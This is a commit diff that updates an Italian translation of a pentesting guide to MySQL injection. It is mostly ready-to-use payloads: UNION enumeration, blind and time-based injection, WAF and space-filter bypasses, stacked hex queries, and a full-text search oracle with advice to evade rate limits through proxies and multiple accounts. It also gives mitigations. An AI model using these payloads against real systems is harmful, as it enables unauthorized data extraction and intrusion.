Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README

This commit is contained in:
Translator 2025-10-01 00:57:27 +00:00
parent b868f3b307
commit d59e1f0330

View File

@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Tutte le iniezioni
## Tutte le injection
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
da [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Flusso
## Flow
Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire "_**information_schema.tables**_" con "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypassare i WAF).
Ricorda che in "moderne" versioni di **MySQL** puoi sostituire "_**information_schema.tables**_" per "_**mysql.innodb_table_stats**_**"** (Questo potrebbe essere utile per bypass WAFs).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -64,22 +64,22 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `group_concat()`
- `Limit X,1`
### **Cieco uno per uno**
### **Blind one by one**
- `substr(version(),X,1)='r'` o `substring(version(),X,1)=0x70` o `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Cieco aggiungendo**
### **Blind adding**
- `LPAD(version(),1...lunghezza(version()),'1')='asd'...`
- `RPAD(version(),1...lunghezza(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lunghezza(version()))='asd'...`
- `SELECT LEFT(version(),1...lunghezza(version()))='asd'...`
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Rileva il numero di colonne
## Rilevare il numero di colonne
Utilizzando un semplice ORDER
Usando un semplice ORDER
```
order by 1
order by 2
@ -92,7 +92,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Basato su Union
## MySQL Union Based
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -101,66 +101,66 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Impara qui diverse opzioni per** [**abuse a Mysql injection per ottenere un SSRF**](mysql-ssrf.md)**.**
**Scopri qui diverse opzioni per** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
## WAF bypass tricks
### Esecuzione di query tramite Prepared Statements
Quando le query impilate sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si desidera eseguire (utilizzando SET), e poi utilizzare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa del genere:
Quando stacked queries sono consentite, potrebbe essere possibile bypassare i WAF assegnando a una variabile la rappresentazione esadecimale della query che si vuole eseguire (usando SET), e poi usare le istruzioni MySQL PREPARE ed EXECUTE per eseguire infine la query. Qualcosa di simile:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Per ulteriori informazioni, si prega di fare riferimento a [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
Per maggiori informazioni consulta [questo post del blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Alternative a information_schema
### Alternative a Information_schema
Ricorda che nelle versioni "moderne" di **MySQL** puoi sostituire _**information_schema.tables**_ con _**mysql.innodb_table_stats**_ o con _**sys.x$schema_flattened_keys**_ o con **sys.schema_table_statistics**
### MySQLinjection senza VIRGOLA
### MySQLinjection senza virgole
Seleziona 2 colonne senza utilizzare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
Seleziona 2 colonne senza usare alcuna virgola ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Recupero dei valori senza il nome della colonna
### Recuperare i valori senza il nome della colonna
Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono le colonne eseguendo qualcosa come:
Se conosci il nome della tabella ma non i nomi delle colonne al suo interno, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa del tipo:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra è il flag, puoi provare a forzare il contenuto del flag provando carattere per carattere:
Supponendo che ci siano 2 colonne (la prima è l'ID) e l'altra la flag, puoi provare a bruteforce il contenuto della flag provando carattere per carattere:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Injection senza SPAZI (`/**/` comment trick)
### Injection without SPACES (`/**/` comment trick)
Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**.
Poiché MySQL tratta la sequenza `/**/` sia come un commento *che* come uno spazio bianco, può essere utilizzata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.
Alcune applicazioni sanitizzano o analizzano l'input dell'utente con funzioni come `sscanf("%128s", buf)` che **si fermano al primo carattere di spazio**.
Poiché MySQL tratta la sequenza `/**/` come commento *e* come spazio bianco, può essere usata per rimuovere completamente gli spazi normali dal payload mantenendo la query sintatticamente valida.
Esempio di bypass dell'iniezione cieca basata sul tempo che elude il filtro degli spazi:
Esempio time-based blind injection bypassing the space filter:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Quale il database riceve come:
Che il database riceve come:
```sql
' OR SLEEP(5)-- -'
```
Questo è particolarmente utile quando:
* Il buffer controllabile è limitato in dimensione (ad es. `%128s`) e gli spazi terminerebbero prematuramente l'input.
* Iniettando attraverso intestazioni HTTP o altri campi dove gli spazi normali vengono rimossi o utilizzati come separatori.
* Combinato con le primitive `INTO OUTFILE` per ottenere un RCE completo pre-autenticazione (vedi la sezione MySQL File RCE).
* Il buffer controllabile è limitato nella dimensione (es. `%128s`) e gli spazi terminerebbero prematuramente l'input.
* Iniettando tramite HTTP headers o altri campi in cui gli spazi normali vengono rimossi o usati come separatori.
* Combinato con primitive `INTO OUTFILE` per ottenere un RCE completo pre-auth (vedi la sezione MySQL File RCE).
---
### Storia di MySQL
### MySQL history
Puoi vedere altre esecuzioni all'interno di MySQL leggendo la tabella: **sys.x$statement_analysis**
@ -170,7 +170,52 @@ mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Altri guide all'iniezione MYSQL
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Questa non è una classica SQL injection. Quando gli sviluppatori passano input utente in `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL esegue un insieme ricco di operatori di ricerca booleana all'interno della stringa tra virgolette. Molte regole WAF/SAST si concentrano solo sulla rottura delle virgolette e non considerano questa superficie.
Key points:
- Gli operatori vengono valutati all'interno delle virgolette: `+` (deve includere), `-` (non deve includere), `*` (trailing wildcard), `"..."` (frase esatta), `()` (raggruppamento), `<`/`>`/`~` (pesi). Consulta la documentazione MySQL.
- Questo permette test di presenza/assenza e di prefisso senza uscire dalla stringa letterale, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` per verificare qualsiasi termine che inizi con `admin`.
- Utile per costruire oracoli come “esiste qualche riga che contiene un termine con prefisso X?” e per enumerare stringhe nascoste tramite espansione per prefisso.
Example query built by the backend:
```sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
```
Se l'applicazione restituisce risposte diverse a seconda che il result set sia vuoto (es. reindirizzamento vs. messaggio di errore), questo comportamento diventa un Boolean oracle che può essere usato per enumerare dati privati come titoli nascosti/eliminati.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: se il backend rimuove 12 caratteri finali per parola tramite una regex come `(\b.{1,2})(\s)|(\b.{1,2}$)`, invia `prefix*ZZ`. Il cleaner rimuove i `ZZ` ma lascia il `*`, quindi `prefix*` sopravvive.
- Early-break stripping: se il codice rimuove gli operatori parola per parola ma smette di processare quando trova un qualsiasi token con lunghezza ≥ min length, invia due token: il primo è un token di scarto che soddisfa la soglia di lunghezza, il secondo contiene l'operator payload. Per esempio: `&&&&& +jack*ZZ` → dopo la pulizia: `+&&&&& +jack*`.
Payload template (URL-encoded):
```
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
```
- `%26` è `&`, `%2B` è `+`. Il suffisso `xD` (o qualsiasi due lettere) viene rimosso dal cleaner, preservando `{FUZZ}*`.
- Considera un redirect come “match” e una pagina di errore come “no match”. Non seguire automaticamente i redirect per mantenere l'oracolo osservabile.
Flusso di enumerazione:
1) Inizia con `{FUZZ} = a…z,0…9` per trovare corrispondenze della prima lettera tramite `+a*`, `+b*`, …
2) Per ogni prefisso positivo, dirama: `a* → aa* / ab* / …`. Ripeti per recuperare l'intera stringa.
3) Distribuisci le richieste (proxies, multiple accounts) se l'app impone flood control.
Perché i titoli spesso leak mentre i contenuti no:
- Alcune app applicano i controlli di visibilità solo dopo un MATCH preliminare su titles/subjects. Se il control-flow dipende dall'esito “any results?” prima del filtraggio, si verificano existence leaks.
Mitigazioni:
- Se non ti serve la logica Boolean, usa `IN NATURAL LANGUAGE MODE` o tratta l'input utente come un literal (escape/quote disabilita gli operatori in altre modalità).
- Se la modalità Boolean è richiesta, rimuovi o neutralizza tutti gli operatori Boolean (`+ - * " ( ) < > ~`) per ogni token (no early breaks) dopo la tokenizzazione.
- Applica filtri di visibilità/autorizzazione prima del MATCH, oppure unifica le risposte (timing/status costanti) quando il result set è empty vs. non-empty.
- Rivedi funzionalità analoghe in altri DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` analizzano anche operatori all'interno di argomenti tra virgolette.
Note:
- Prepared statements non proteggono dall'abuso semantico di `REGEXP` o operatori di ricerca. Un input come `.*` rimane una regex permissiva anche dentro un quoted `REGEXP '.*'`. Usa allow-lists o guard espliciti.
## Altre MYSQL injection guides
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
@ -178,6 +223,10 @@ mysql> select version();
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [MySQL Full-Text Search Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
- [MySQL Full-Text Search Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
{{#include ../../../banners/hacktricks-training.md}}